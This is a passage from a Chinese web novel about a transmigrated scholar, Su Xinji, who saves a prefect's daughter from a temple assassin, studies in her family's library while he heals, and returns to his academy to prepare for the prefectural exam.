旁边一阵香风吹过,只听到不远处一个紫衣女子跟同伴道:“愿执卿手共晨昏,柴米油盐亦暖温。锦蕙,我这次许愿,希望能得到一个如意郎君,你许的什么愿?”
被称为锦蕙的女子有些羞涩的低下头:“我娘说,许的愿望不能说出来,说出来就不灵验了。”
“切,你不说我也能猜到。你是想找一个七步成诗的小郎君吧?”
“你瞎说什么啊,人家都已经成婚了。这世间,再难寻得如此才情的人。若是我能有缘一见,也算是了却了心头一桩大事。”
两个女子应该是未出阁的女子,趁着天气好,特意来山上许愿的。苏辛集见她们能说出自己之前在婚宴上做的诗,不由得多看了几眼。
苏辛伟听到后,就有些沉不住气了:“三哥,你听到没有,你的诗都传到府城来了!”
苏辛伟常年生活在乡下,嗓门极大,这一声引得不少人侧目。
那两个女子循声望过来,面带愠色。
苏辛集有些无语,回头一定得跟小伟说说,出门在外,尤其是在寺庙周围,不要大声喧哗。
“辛集?”梁毓闵并不知道,苏辛集会做诗,但听到小伟这么说,那一定是有的。
听到有人喊辛集,两个女子更不淡定了。
二人对视一眼,径直朝苏辛集的方向走来,苏辛集看到他们身后的几位壮硕士卫,便知道躲不过去了。
“这位公子,敢问贵姓?”其中那个紫衣女子道。
梁毓闵一看苏辛集被搭讪了,莫名有些发酸,人家苏辛集都已婚配,自己好歹是个大活人啊,怎么这二位小姐,就不看自己一眼呢?
第四十八章 千钧一发
“在下苏辛集,不知二位小姐有何指教?”苏辛集见躲不过去,也只能硬着头皮应付起来。
“啊?你真的是山阴县的大才子苏辛集?”于锦蕙握着同伴的手,激动的看着面前的年轻公子。
“那还能有假?我三哥可是这次县试的案首!”苏辛伟得意的说道,生怕别人不知道,他三哥有多厉害。
见到这边有些骚乱,宋文杰等人围了过来。
“辛集,怎么回事?”宋文杰走过来,突然注意到紫衣女子有些眼熟,仔细一想,试探着道:“这位姑娘,你可认识张醴龄?”
“他是我哥哥。这位公子是……”张楚菲也没隐瞒自己的身份。
“你哥哥是内舍榜前十的张醴龄?”叶墨轩惊呼一声。
张楚菲猜到了几人大概都是白鹿洞学院的学子,若非如此,他们不可能认识哥哥。
“对,我哥哥确实在内舍。不过,他到底排名多少,我不知道。”
“既然是九龄兄的妹妹,不如我们一起?”宋文杰是带队的,他主动发出邀请也没什么问题。
张楚菲本来是跟闺蜜踏春来的,这下遇到了哥哥的同窗,其中一个还是大才子苏辛集,结伴同游倒也不错。跟闺蜜于锦蕙交换了下眼神,张楚菲便答应了下来。
拾级而上,二女时不时的偷瞄苏辛集。苏辛集并未在意,他突然注意到寺中解签的大师,看到求签人的生辰八字,眼神一顿。苏辛集心中暗自猜测,不会是大凶的征兆吧?
“走,我们几个也进去求个签,据说很灵验的。”宋文杰提议道。
就在众人走近的瞬间,求签人突然暴起,冲着张楚菲就冲了过来。
护卫反应极快,可距离太远,眼瞅着匕首的寒光已经要落到小姐的脖颈间,他们却毫无办法。就在那千钧一发的时刻,苏辛集眼疾手快一把推开了张楚菲。
他自己背后,却被重重刺了下。
“小心!”
“啊!”
“楚菲!”于锦蕙失声喊了出来。
一时间,寺庙你乱成了一锅粥,看着骚动的人群,刺杀者眼中满是慌乱,真是太晦气了!
这么多人,注定成不了事的。
苏辛集这么一推,张楚菲堪堪躲过对方的致命一击,护卫冲过来,很快就制服了杀手。
“小姐,你没事儿吧?”
“小姐,属下保护不周,请您责罚!”
几个护卫纷纷告罪。张楚菲哪有心思理会这些,她冲到苏辛集面前:“你没事儿吧?苏公子,真是太感谢了,要不是你及时出手,我恐怕就……”
“没事儿,楚菲小姐吉人自有天相。”苏辛集感叹道。张楚菲倒是没想过轻饶:“你们留下活口,回头我要带他去帝都受审。幕后主使之人,必须挖出来。”
张楚菲绝对不允许,有人如此猖狂。
“辛集,要不你先休息下吧。”
“辛集,你在医馆多住两日,回头落下的功课,我帮你补。”
看到同窗们关切的目光,苏辛集笑了笑:“没关系,就是后背有点疼。小伟,你帮我看看。”
“啊?三哥,好多血!你受伤了么?”
苏小伟哪里见过这个场面,吓得扯着嗓门吼了起来。
“不是跟你说过了,每临大事必有定气,不可扯着嗓子猛喊,尤其是在公众场合。”苏辛集连忙告诫起来。
“先不要说小伟了,苏公子,你有什么诉求,只要人力所及,我们定会满足你的。即便,即便是让我以身相许,作为回报,我也是,也是……”张楚菲心里还是有些拧巴,她可是堂堂张府小姐,想要娶她当正妻的人,从这里能排到府城门楼子,这会儿竟然能表达出愿意为妾的想法,同行的几个人都震惊了。
“别别,什么虎狼之词,楚菲小姐,你莫要有压力,即便是换成别人,我也会相救的。”苏辛集摆手拒绝,他这会儿脸色惨白,手举起来的瞬间,就晕了过去。
“三哥!”
看到苏辛集背后一片猩红,苏辛伟傻眼了。刚才杀手那一刀,捅的很深。
“还不快叫人,帮他看看!”宋文杰冲着解签的大师吼道。解签人犹豫再猜,还是决定帮苏辛集处理伤口:“把人先扶到禅房,那边安静些。”
终归是年轻些,苏辛集很快就醒了过来。
不一会儿,寺里的高僧都听说了消息,他们都来上门探访。
“诸位,我学弟想要单独跟解签的悟明大师聊两句。”叶墨轩扶着苏辛集,他有些不明白,苏辛集平日里看着也不是特别积极的人,怎么今天如此反常?
那人到底是干嘛的?
“女施主,这里不是你们能来的地方。”禅房是苦修之地,女施主是不能进入的。
“好好,我等在外面等候。”
苏辛集见门口安静下来,这才问道:“悟明大师,恕我冒昧,我见你是为数不多的目击证人,我想问问你,凶手临终前,跟你说了什么?”
说了什么,这哪能往外说啊!
“这,恕我不能外泄,这是对死者最起码的尊重。贫僧还有要事在身,苏公子休息吧。”悟明大师的眼神明显有些躲闪,他转身准备先行离开。
这些,苏辛集早有预料,他仔细打量着悟明大师:“大师,等等。能不能告诉我那人的签上到底写了什么啊。”
“下下签,大凶。我本来想要提醒他,又怕改了命数,影响到他的未来,可谁能想到,这样精妙绝伦的设计,竟然有人能在短短十分中内破解。”悟明感叹道。
“果然!”苏辛集知道自己没有看错,而且悟道大师知道里面的不少事儿。悟道大师离开后,众人这才进屋。
“宋兄,不用担心,我没什么事了。”
“你先养伤,回头等快开学,我再和你一起回书院。身体是第一位的,其他的事情,我会帮忙调查。”
同一时间,张醴龄正在府中的厅堂,厅堂之中,不少人聚集此地。
在场的多数都是内舍中人,而且他们的成绩都跟张醴龄不相上下,即便是内舍中,也是佼佼者。
第四十九章 煮酒论道
私下里大家聚集起来,也就是煮酒论道,这是内舍的传统,每当遇到什么良文佳作,众人都会聚集在一起讨论,只是这次的话题有些不同。并不是名家大儒的新作,而是苏辛集的几首诗。
众人都知道,张醴龄在诗词歌赋方面很有造诣,一般诗词是入不了他的眼,如今他能提起,定然是传世之作。
众人落座,张醴龄这才拿出几张纸。
“井底点灯深烛伊,共郎长行莫围棋。玲珑骰子安红豆,入骨相思知不知。”
“这最后两句最是精妙,以玲珑骰子和相思红豆这两种精巧意向结合,把抽象的相思之情具象化。骰子本来是博弈植物,却能嵌入象征相似的红豆,再一次说明,这份情感不是浮于表面的牵挂,而是深入骨髓、难以磨灭的眷恋。情感细腻真挚,好诗。”在座的一个青衫书生激动的手脚乱颤。
“伫倚危楼风细细,望极春愁,黯黯生天际。草色烟光残照里,无言谁会凭阑意。拟把疏狂图一醉,对酒当歌,强乐还无味。衣带渐宽终不悔,为伊消得人憔悴。要我说,这首词绝对是传世之作!”
“醴龄兄,这究竟是何人所作?”
“不可说,不可说啊。”张醴龄笑着道:“喊你们来,是让你们品鉴诗词的,不是让你们对作者品头论足的。”
你就别卖关子了,是不是你在燕京的那几位朋友?”
内舍学子哪有往日的样子,一个个都很激动。
在众人的一再追问下,张醴龄道:“其实,作者并不是几位,这四诗一词都是出自一人之手。而且,据说当时他是七步成诗!”
七步成诗?!
简直是天才啊,即便是咱们内舍的那位,恐怕也难以匹敌啊。
这话,众人只会在心里想想,谁也不敢乱说。
张醴龄笑着看向在场的几位同窗:“诸位,要不是有人当时在现场,我也是万万不敢相信的。你们可知道,谢御史的事情?”
“你是说弹劾阁老,被发配的那位?”
“正是此人。”张醴龄点头。
“别闹,你总不能说,这诗是谢御史写的吧?就算是亲眼所见,我也是万万不能相信的。”青衫书生连连摆手。
“广为兄,当然不是他,但跟谢御史有关。作者是谢御史的女婿!”张醴龄越说越兴奋,若是有缘一见,那真是极好的。
“我知道我知道,我母亲的家就在山阴,你说的是苏家三傻子?怎么可能!我听说,圣上赐婚,是很多人集体请愿,苏家二房担心这事儿误了前程,便把谢御史的姑娘,推给了三房的傻子。我记得年幼时,还见过嫣儿姑娘一面,确实是才貌双绝,山阴县第一美女的名号她当之无愧,只是可惜了……”一个叫肃宁的书生满眼惋惜的说道。
“肃宁,你那都是老黄历了。你啊,有空还真是应该去你外公家转转。我要说的这位,正是苏家三少爷,他可不是傻子,这次的县试,他是县案首!”张醴龄神秘兮兮的道。
“当真?”众人纷纷看向张醴龄。
“这还能有假?我给你们说,我当时的第一反应,跟大家差不多,所以我特意找人去调查的。这一查,还真是把我吓了一跳,他竟然才启蒙了三四个月,就成了县案首。”
若单纯说,有人考中了县案首,对这些内舍学子来说,不算什么,他们只要出手,不敢说一定能当案首,但至少可以保证是榜单前三,因为在场的人,都是早就通过了院试的青年才俊。可现在说,苏辛集从开蒙到参加考试,只有三四个月,那就令人震惊了。
此刻的苏辛集并不知道,他只是随意的几句诗,竟然在内舍的学子中,引起了轩然大波!
苏辛集躺在床踏上,心中一阵后怕,若不是刚才他机警提前注意到悟明大师的表情变化,他肯定是看到了什么。
因为张楚菲心里都憋着一口气,他要砸到谁头上。
张府。
苏辛集等人被张楚菲带回了家。原本苏辛集是不想去的,但见大家都希望见见内舍学子,便点头答应下来。
就这样,宋文杰等人以送苏辛集的名义,进入了张府。
苏辛集被安排在客房休息,张管家安排的很是妥帖。这个客房的位置很特别,旁边就是个小书房,里面有不少藏书,一看就是接待贵客的地方。苏辛集感觉好些了,便走到小书房。
张管家差人,把家里发生的事情,告诉了张醴龄。张醴龄此刻正在跟同窗听曲,得知有人要杀妹妹,恩人就在家里,哪能坐得住,非得要回家看看。
苏辛集看到书架上专门有一部分题集,不由得感叹古人也是很卷的。
“哎呦喂,小祖宗,大夫不是说了,你是气血两亏,这次伤了元气,得养着。”张官家没好气的说道。
“张管家,您别着急,我已经无大碍了。”苏辛集有些不好意思。
“稍微好点可以,但你得爱惜身体啊,这个什么大题小库的范本,不是随时可以做么?有必要这么拼?”张管家不理解,苏辛集为何会如此执着,难道一日不读书都不行么?
“府试马上就要开始了。我必须要多做些准备。这读书也是门手艺,你一日不练,自己知道,两日不练,那就是夫子知道,若是三日不练,观众就能看出来的。”苏辛集必须要对自己严格要求:“来之前,夫子常说要想进步快,那就是还得靠自己。书房的藏品以及资料,够我学很久了。若是因为这点小伤耽误了,那注定会一事无成。”
前脚管家出去,后脚张楚菲就进来了。
“苏辛集,你好点了没?我看到厨房有鸽子汤,给你成了一碗,先喝点补补。”张楚菲终于找到了理由,其实她就是想看看苏辛集。
“我还不太想喝,抱歉。”苏辛集头都没抬。
“那我罪过就更大了。你快点康复,我也不用如此惴惴不安。你都不知道,我哥有多严厉,他若是知道,肯定不能轻饶我,你快点喝了,回头我哥回来,你就说差不多好了!”
第五十章 靠实力说话
任凭张楚菲怎么说,苏辛集都不为之所动。
张楚菲无语,只能坐在旁边看着苏辛集做题抄书。
“苏辛集,你身上还有伤,就不能歇一歇么?学院都放春假了,你还这么用功!”张楚菲开始还觉得苏辛集能作出传世之作是谣传,县案首也是有水分的,可如今亲眼见到他如此坚持,也就真的有些相信,他是靠实力说话的。
果然,没有人能随随便便成功。
“楚菲小姐,你到底有什么事?”苏辛集放下笔,无奈的问道。
“这样吧,我给你读话本,如何?”张楚菲从最上层的书架抽出一本书,冲着苏辛集道:“就读三十章如何?”
苏辛集知道,张楚菲肯定是因为内疚,毕竟自己替她挡了一刀。可问题是,根本没这个必要,只要张家能同意自己在这个书房修养几天,就比什么都强。
这里很多书都是孤本,价值都不能用银两衡量。
“这样,咱们各人读各自喜欢的书,好吧。”苏辛集委婉拒绝道。
“别啊,你是不知道,这本书多有意思。”张楚菲说着,晃了晃手中的书。看到书名的一瞬间,苏辛集无奈的笑了:“《诛仙》?”
“昂,你别看名字简单,但内容是一点儿也不简单。你是不知道,这个主角张小凡有多厉害,他在草庙村遭遇追杀,后来被名门正派收留。资质愚钝的张小凡武艺进步缓慢,后来再一次伐木的过程中,他得到了一件至宝,你猜他后来怎么样了?”
苏辛集暗笑:“肯定是的开挂呗,都得到至宝,后面的事儿还用说么!”
“苏辛集!”张楚菲不悦的道:“你能不能严肃点?我跟你说,这话本子特别好看,传闻不少人为了读这本书都废寝忘食,府城很多私塾夫子三令五申,不得将书带入学堂,更不允许私下传阅。我也只能偷偷来这里看,若是被我爹知道,肯定是不允的。”张楚菲压低声音说道:“这可是目前最火的话本了,我们女学里面不少人都在探讨。对了,你刚才说开挂是何意?”
“怎么说呢,就是形容张小凡突然变得特别厉害,做事非常顺利。他得到金手指,哦,就是你说的至宝,后面肯定会开挂的。”苏辛集耐心的解释道。
“你这么说,我倒是能理解的。”张楚菲突然靠近,凑到苏辛集面前:“那你是得到了什么金手指,突然开挂的?”
“啊?”苏辛集没想到,张楚菲会突然问这个,他咳嗽了两下掩饰尴尬:“咳咳,楚菲小姐,你说什么,我怎么听不懂?”
“别跟我装糊涂,我打听过你的事儿,大概三个月前,你还是痴痴傻傻的,别说吟诗,就说字都未必认的了一箩筐。你突然被周夫子看中,在学堂念了不到三个月的书,就上考场了。县试拔得头筹,我觉得你跟张小凡一样,都开挂了!”
“呵呵,你要非得这么说,那就算是吧。”苏辛集没想到,来到大昭朝,看出他是重生者的第一个人,竟然是张楚菲,一个才接触没有几个小时的人。
也是张楚菲和于锦蕙在茫茫人海中认出自己,更巧的是,她还很喜欢看自己写的诛仙……
想到这里,苏辛集的心莫名变得柔软起来,他合上面前的书,笑着道:“那好,我给你讲讲后面的故事。”
“你也看过?”张楚菲很是意外,苏辛集竟然愿意花时间在话本子上,她以为苏辛集这样的人,只喜欢看跟科举考试有关的书。事实确实如此,只是凡事都有例外。
“不止看过。”
……
大约半个时辰后,随着苏辛集娓娓道来,张楚菲直接把书翻到了最后,看到第一卷结束,也没有苏辛集说的内容,她突然产生了个大胆的想法,苏辛集认识《诛仙》的作者,甚至有可能他本人就是!
张楚菲激动的手都在抖:“你,你就是白言舟本人对么?”
《诛仙》对外的作者名就是言舟,一眼就能看出是个笔名。很多话本子的作者都是如此。他们写话本子多数是为了养家糊口,也有少数是为了情怀,无论是何目的,都很少有人用本名,这也是对自己的一种保护。
“言藏笔墨锋芒,舟含豁达通透,凡事留白,余味无穷。”
苏辛集没有直接回答,而是说起了笔名的含义。张楚菲多么聪明,又岂会不懂?
“苏辛集,我真是小瞧你了。你说,《诛仙》第二卷大概何时会出,我都有些迫不及待了。”既然苏辛集不愿意承认,张楚菲也不会刨根问底,俩人都心照不宣。
“府试后吧。我觉得作者用笔名,就是没打算把这个当主业,好男儿就应该参加科举,入翰林。”
“可以想象,能写出《诛仙》的男人,是有资格拜将封侯的。”张楚菲此刻对苏辛集的认可,并不是因为救命之恩,而是真正的钦慕。他的才情,他的格局,他的正义,都是那么难能可贵!
苏辛集微微一笑,拜将封侯还不够的……
此刻,在门外站了许久的管家轻轻敲了敲门。
听到里面有人应,张管家这才进入房中:“楚菲小姐,可让我好找。大少爷说要见你,我四下寻不到,便猜到你可能来这里偷看话本子了。要是平日也罢了,你怎么可以影响苏公子休息呢?”
“张管家,不碍的。”苏辛集笑着说道。看着苏辛集和煦的笑容,张楚菲有一瞬失神,怪不得锦蕙那丫头天天念叨,还说要去山阴县春游,这小子确实特别。
不知不觉,张楚菲的一颗芳心彻底沦陷。
“我哥找我干嘛?”张楚菲不太情愿去,毕竟单独跟苏辛集相处的机会太珍贵了。
张管家欲言又止,看了一眼苏辛集,这才道:“大概是跟刺客有关,放出去的耳目已经有回信了。”
听到这个,张楚菲点了点头:“好,我这就去。”
张管家冲着苏辛集拱了拱手:“苏公子,你为了救小姐而受伤,按理说刺客的事情,你是有知情权的,只是此事牵扯颇深,怕是……”
“我明白。”
第五十一章 观音教猖獗
苏辛集知道,张家这是好意,知道的越多就意味着危险越大。
“多谢苏公子体谅。回头我让人送些清淡的小食过来,您要多注意休息。”张管家看了一眼桌上没动的鸽子汤,客气的说着。
“哪里话,我还要谢谢您的照拂。”
见苏辛集这般谦逊的姿态,张管家满意的笑着:“苏公子,那就不打扰了。”
很快,瘦肉粥和几碟精致的小菜便被送了过来。
苏辛集还真是有些饿了,端起瘦肉粥尝了一口,微咸中带着一股浓浓的肉香,大米粥软糯浓稠,小菜量不算大,但每一种味道都很别致,非常符合苏辛集的口味。
这边,张楚菲很快到了前厅。
“爹,大哥。”张楚菲见父兄一脸严肃,便乖乖上前打招呼。
“张管家,她又跑哪里野去了?”张醴龄看都没看妹妹一眼,生怕对上妹妹撒娇的眼神,他就绷不住了。
“这次还真没去玩,楚菲小姐是去书房看书了。”
“书房?又去看话本子了?”张醴龄不禁感叹,父亲对妹妹真是太纵容了,他小时候若是被发现看话本子,早就被打的下不了床。妹妹却总能偷着看那些乱七八糟的书,还可以随时出们游玩,这都是张醴龄不曾经历的生活。
“苏辛集是不是也在书房,张管家,这一下午,他都在干什么?”
“老爷,苏公子看到房间里有不少书,开心的不得了,我看到他一直在研究大题小库,似乎还做了些笔记。后来楚菲小姐去,他们大概是在看话本子。”张管家如实说道。
张老爷子意味深长看了一眼闺女,这丫头显然是对苏辛集上心了,这就有些难办了!
张家倒不是市侩,看不上苏辛集的出身,而是他已有了正妻,还是圣上赐婚,若要女儿去做妾,张家是万万不可能答应的。
张楚菲以为老爹变脸是因为话本子,连忙道:“爹,我稍微看了一小会儿。这不才受了惊吓,我怎么也得缓缓。您这么着急,是叫我来干嘛的?”
“不要影响读书才是,咱们张家人,无论男女,必须要满腹经纶,饱读诗文知道么?”张老爷子借机敲打女儿,不要对苏辛集想入非非,就算是他能舍下家中正妻,没有功名在身的人,也不可能踏过张家的门槛。
可这句话落入张楚菲耳中,却是另外一番风景。
爹这是默许我跟苏辛集交往么,他不光会吟诗作对,还能写书,《诛仙》就是他的作品。虽然没有功名,可头一次县试就拿了案首,这样的才华,爹应该很欣赏的!
“爹,楚菲最近很努力的。”张醴龄适当引入正题;“服毒自杀刺客,身份已经确定下来了,他是观音教信徒,我和爹一向不参与江湖事,也不清楚他们是受何人指使,楚菲,最近这阵子你就不要出门了。”
“观音教?他们都渗透到府城来了?”张楚菲有些意外的看着大哥。
“对,他们就像一条毒蛇,盘踞在这座城的某个角落。若他们只是想要挑起矛盾,对你下手确实能达到目的,但若是寻仇,那便还会有第二次。”张醴龄分析道。
“我明白,最近尽量不出门。”张楚菲也有些后怕,苏辛集当时替自己当了一刀,若是他反应稍微慢点,后果不堪设想。
“行了,你先下去吧。”张老爷子本来还有事情要嘱咐,可一看到女儿花痴的样子,他又没心思啰嗦了。
见女儿走远,张老爷子把自己的推测告诉了儿子。
“爹,你是说楚菲喜欢他?我觉得您是多虑了,楚菲多么高傲的姑娘,咱们给她介绍了那么多达官显贵,她都没有看中,苏辛集可是有家室的,身上又没个功名,退一步说,即便是有功名,谢家得罪了阁老,他肯定很难独善其身。楚菲不会糊涂的。爹,怎么说苏辛集救了她一命,所以她对苏辛集特别点,也正常的。”张醴龄沉声道。
“但愿吧,对了,我觉得可以从刺客身份入手,再查一查看有没有观音教的线索。”
“是,耳目放出去了,很快便会有回音。”
张家的耳目能在一天内锁定凶手的身份,已经是效率极高了。
晚上,张管家过来探访,顺便问问苏辛集有什么需求,见到他点灯夜读,心中万分感慨。
“苏少爷,您若是需要什么随时叫我,时间不早了,您早点歇着吧。”
“知道了。”
苏辛集回应了一句。他并未停笔,看着旁边堆积成山的资料,苏辛集眼神都变了:越努力,越幸运!
张管家没想到会适得其反,苏辛集似乎更加急切的研究那些题了,家中都是读书人,张管家也清楚,这里很多破题技巧,外面是买不到的,很多都是大少爷的手书笔记。
在张家修养了三天后,苏辛集感觉神清气爽,背后的伤,也不怎么疼了。
期间换药,张楚菲总是自告奋勇,苏辛集婉拒,头一开始还是大夫来换的,后面两天张楚菲学会了,非要给苏辛集换,这事儿恰好让张老爷子撞见,气的直接把闺女关了禁闭。理由是外面观音教横行,怕女儿再遇到危险。
苏辛集猜到张老爷子的真正目的,想着身上的伤好的差不多了,便主动请辞,若不是张楚菲太热情,他真的想住到开学,把这些书再抄一抄,读一读。
“张伯伯,我的伤好的差不多了,春假也没剩两天,我想这就回去吧,还有作业需要完成。”
苏辛集这个年龄,正是贪玩的时候,张老爷子没想到,苏辛集竟然如此坚定的克服了贪玩的情绪,牵挂着学业。
事实上,苏辛集比老爷子想象的还要刻苦几分。
“你既然喜欢读书,书房那些书,你就挑几本带去学院慢慢看吧。”
“多谢张伯伯美意,我已经都做了笔记。”
苏辛集知道,这些藏书和笔记的珍贵,自然不会随便带走。
“哦?拿来我瞧瞧?”
第五十二章 险境,捷径
老爷子张伯勋端详苏辛集的笔记,不禁暗暗点头。孺子可教,此子天赋不逊于醴龄啊。
事实上,苏辛集这几天睡觉时间不超过三个时辰。大部分时间,他都在书房,遇到重点、难点,他都记了下来,整理出属于自己的习题册。这一步很重要,但如今没几个考生会亲自整理,能买现成的,自己读读写写就很好了。甚至有些人都读了十年左右的书,还一本习题册都没有总结出来。
来了兴致,老爷子张伯勋不禁多聊了几句:“辛集,你现在看的什么书?”
“刚到学院,是跟着外舍的课程走的,这两天主要看的是四书,书房中有一本大题小库,编写的极好,我笔记中有不少灵感,都是基于此书。我想学习百家所长,免得自己破题时手忙脚乱。书房中还有不少市面上难得一见的好书,我读完后,都做了笔记。”
张伯勋捋着胡子:“呵呵,大题小库是我自己写的,据我所知,市面上还没有同款。你能在万书丛中看到这本书,也算是咱们爷俩的缘分。”
经过沟通苏辛集才知道,老爷子张伯勋是进士出身,当年就成了翰林编修,正七品,一路走来都是靠的实力,如今是江州府知府,正四品。如今来万安府,主要是为了给睿王爷贺寿,顺便看看儿子张醴龄。
张伯勋很看好苏辛集,不免多聊了几句。
“辛集,你可选定了本经?”
听出张伯勋有意指点,苏辛集连忙拱手:“回张伯伯的话,我最近正在犹豫,学院里的教谕倒是什么都讲。不知张伯伯可否指点一二?”
本经是从五经中选取的一部主修经典,秀才注册时需要确定,乡试、会试是按照本经出题,录取分经配额。
“呵呵,谈不上指点,就说我当年选的是《春秋》,我记得后来有幸跟同僚聊天,说起这个,才知道阅卷按经分房,《诗经》常设五房,《易经》、《尚书》各四房,《春秋》《礼记》各两房。”
苏辛集虽然不清楚这里面的道道,但知道这就跟以前高中分文理一样,若是从高考和就业的角度说,那肯定是要选物化生。经过张伯勋这么一点拨,苏辛集就懂了。
《诗经》文本易懂,注解成熟,题目套路稳定,《春秋》则是五经中选择最少的,甚至被视为“孤经”。
“书房里还有我当年学习《春秋》的一些心得体会,若是你想要选择《春秋》,你可以带走先看看。当然,我不是推荐你选某一本书,只是告诉你这其中的利弊,至于怎么选择,还是要听从内心的决定。”
苏辛集心中有了计较,若是正常思路,一定会选择《诗经》,毕竟套路成熟。可苏辛集偏偏是个穿越者,重生前,他就读过《左传》、《公羊传》、《谷梁传》对义理的理解比一般学子深刻的多。若是再有张老爷子的学习心得,那就是如虎添翼。
“ 张伯伯,我想好了,就选《春秋》。您今日的大恩,辛集定当铭记于心!”
对别人来说,这是一条险境,但对于苏辛集来说,这就是一条捷径!
见苏辛集选择了《春秋》,张伯勋既惊喜,又有些意外。高兴之余,对苏辛集又有了一番指点。
一个时辰过去,苏辛集才意犹未尽的回到卧房。张伯勋不愧是当年的翰林编修,稍微指点几句,苏辛集就有一种醍醐灌顶的通透感。
想到张醴龄年纪轻轻就已经是内舍中人,苏辛集不禁感叹大昭朝的寒门,难出贵子。像张家这样的家庭,在教育资源、经济基础、社会关系等许多方面都有优越性,张醴龄的起点,就是普通农户家庭的孩子一辈子难以企及的高度。别的不说,就说书房里的笔记,多数都是张伯勋多年的私藏,据说这个书房,还只是张醴龄的,在江州府城,他们家中的藏书更是多的难以想象。
感叹了下,苏辛集回到房中,找到张伯勋的《春秋》注解。次日,便向张伯勋请辞。苏辛集其实可以一晚上看完这本注解,他之所以带走,是想为下次来,做个铺垫。
张伯勋见到苏辛集热爱读书,举止有度,便笑着道:“辛集,我虽然不常过来,但是张管家是一直在的,你若是休假,可以随时过来。”
“多谢张伯伯。”
“呵呵,应该是我谢谢你啊,若不是有你在,小女这条命都未必保得住啊。”跟苏辛集聊过之后,张伯勋突然有些理解女儿的心思了,对女儿也是睁一只眼闭一只眼,张伯勋可以接受女儿去当妾室,但有一点,未来的女婿必须要有功名在身,才华出众才可以。
苏辛集笑着挠了挠头:“我也是恰好碰上了。”
就在苏辛集收拾东西时,张楚菲悄悄摸摸的来到房门口,“苏公子,这个送给你。”
苏辛集回头,看到是上等笔墨,赶紧拒绝:“不行,楚菲小姐,你的好意我心领了,东西我不能要。”
湖笔、徽墨,这可都是好东西。张楚菲知道苏辛集不会轻易手下,直接把东西塞到苏辛集手里:“我爹常说,救命之恩,涌泉相报。你不要这些,难道还想让我以身相许不成?”
激将法?
苏辛集掀了掀嘴角,这小丫头还真挺有意思。
“楚菲小姐,我……”
“好了,你不要解释,我知道你已婚,我可没打算给你当小妾。”
见张楚菲越说越离谱,苏辛集连忙道:“好好,我要,我要还不行吗!你等等,这个给你。”
说着,苏辛集拿起炭笔在纸上唰唰写了两行字,随后把纸条递给张楚菲。
“这是什么?”
“VIP金卡。”苏辛集挠头:“额,这个是临时的,等我的文具店开张,你可以六折消费。”
金卡,文具店,六折……
张楚菲疑惑的看着苏辛集,这家伙是不是看书看的脑子坏掉了?
“反正你把卡收好,回头你就知道了。”
这一点就算是苏辛集不交代,张楚菲也会好好收起来的。
第五十三章 高调返学
“你这个卡,一共多少张?”
“目前就你这一张。”
张楚菲脸一红,转身就走,手里握着苏辛集给的纸条,心中窃喜,不知道这算不算是定情信物?
这边,张醴龄看着空荡荡的书橱,一脸茫然。父亲特意带来的湖笔和徽墨呢?
张醴龄正要出去问问管家,就看到妹妹一脸通红的跑过来,手里似乎还拿着的什么东西,看着妹妹跑过来的方向,张醴龄若有所悟,难不成父亲猜对了?
还真是女大不中留啊,这才刚认识,就把湖笔和徽墨都送出去了……
次日,张管家驾车把苏辛集送到了学员,张醴龄则是要等春假结束才会回来,毕竟父亲难得来一趟。
“张管家,学院不让进,要不你就送到这里吧。”苏辛集客气的道。
“没关系,老爷跟副院长是同窗,我这个马车是登记过的,可以进。你身上还有伤,不能大意。”
苏辛集见张管家执意要送,便笑着道:“有劳了。”
张家的马车进入学院,不少人都见到了,当众人看到马车到了外舍乙班门口,瞬间炸了锅。
“这小子谁啊?”
“张醴龄来上课,都不会这么高调。”
“这人我知道,春试来的新人,好像是山阴县的。”
“县城来的,怎么能认识张知府?”
作为苏辛集的好友,叶墨轩听不下去了。
“有时间讨论人家的事儿,不如多读几页书,到时候自己当上知府,想关照谁不可以?”
一些胆小的,便散了。也有些人朝着苏辛集走去。其中就有他的舍友鲁秉策,他跑过悄声问苏辛集到底是怎么攀上张知府的。张伯勋可是万安远近为名的人,他可是全府城为数不多的进士,这些年虽然人在江州任职,可万安府一直有他的传说。
同窗许展打趣道:“秉策,你若是将八卦的心思用在学习上,说不定就能考进内舍了。如今讨好苏辛集有什么用,即便他认识张大人,人家也不可能帮忙,他是江州知府,不是万安府的知府。”
鲁秉策家中殷实,父亲是附近的地主,家里不缺银子,缺点书香气。鲁家就指望着鲁秉策能高中,哪怕是中个秀才,也算是改换门庭了。
可鲁秉策偏偏就不是个读书的料,他之所以愿意来读书,就是因为这里的藏书阁什么书都有。可若是下次考试,他的成绩还没有起色,就要被降班级了。他和苏辛集现在在一个班,俩人又是舍友。鲁秉策自然知道苏辛集是真有水平的,想要让苏辛集给他梳理一下,最起码得稍微有点进步吧。
“鲁秉策,你真是想多了。苏辛集就算得到张家的赏识,也帮不上你。你若是真想学,还不让去找张醴龄呢。”
“我哪能随便去内舍,辛集,我这写了两篇文章,你帮我改改呗。”
见鲁秉策颇为殷勤,又确实需要帮助,苏辛集只能接过鲁秉策递过来的文稿。
“你写的文章,中心不够突出,还有就是太啰嗦。”苏辛集只是粗略一扫,就看出了主要问题。
“我知道,教谕也是这么说的,你说我该怎么改?”鲁秉策苦着脸,他若是有头绪,也不至于在书院混日子。
“想要言之有物,必须多读,多看。最好能把最新程墨熟读成诵。”苏辛集指了一条见效最快的路。
鲁秉策一听苦着脸:“你这说的轻松,我哪能记得住啊。”
“其实也不用刻意背,你就早起读半个时辰,晚上睡前再看看,如此往复上十来日,自然而然就像刻在脑子里一般。还有那些话本子,先别看了,多读读要考的书。”苏辛集把自己的读书方法倾囊相授,鲁秉策尴尬的挠了挠头:“若是晨读晚诵,我还可以坚持,可若是戒了话本子,那还不如杀了我。”
“你爹对你期望甚高,若是这次府试你过不了,你爹自然会出手的。看在咱们俩的交情上,我清明给你上柱香,烧点画本子还是不成问题的。”
许展在一旁哈哈大笑。
几人这次都是要一同参加府试的。外舍乙班的学员,很多都通过了这次的县试,眼瞅着府试在即,都忙着备考。能像苏辛集这样用心帮助同窗的,不多见。
“你不用费劲了,有的人就是糊不上墙的烂泥。”有人冷不丁的说了这么一句,众人一怔,随后便见鲁秉策上前理论:“李景阳,你说谁呢?”
“谁激动就说的谁。”李景阳压根没把鲁秉策当回事,他的对手是苏辛集!
这次春试,成绩公布出来后,李景阳就觉得有猫腻,他对自己的文笔是非常自信的,怎么可能会输给一个县里来的乡巴佬?
鲁秉策抬起拳头,就要教训李景阳,下一秒手腕定格在半空中。
“辛集,你放手!”
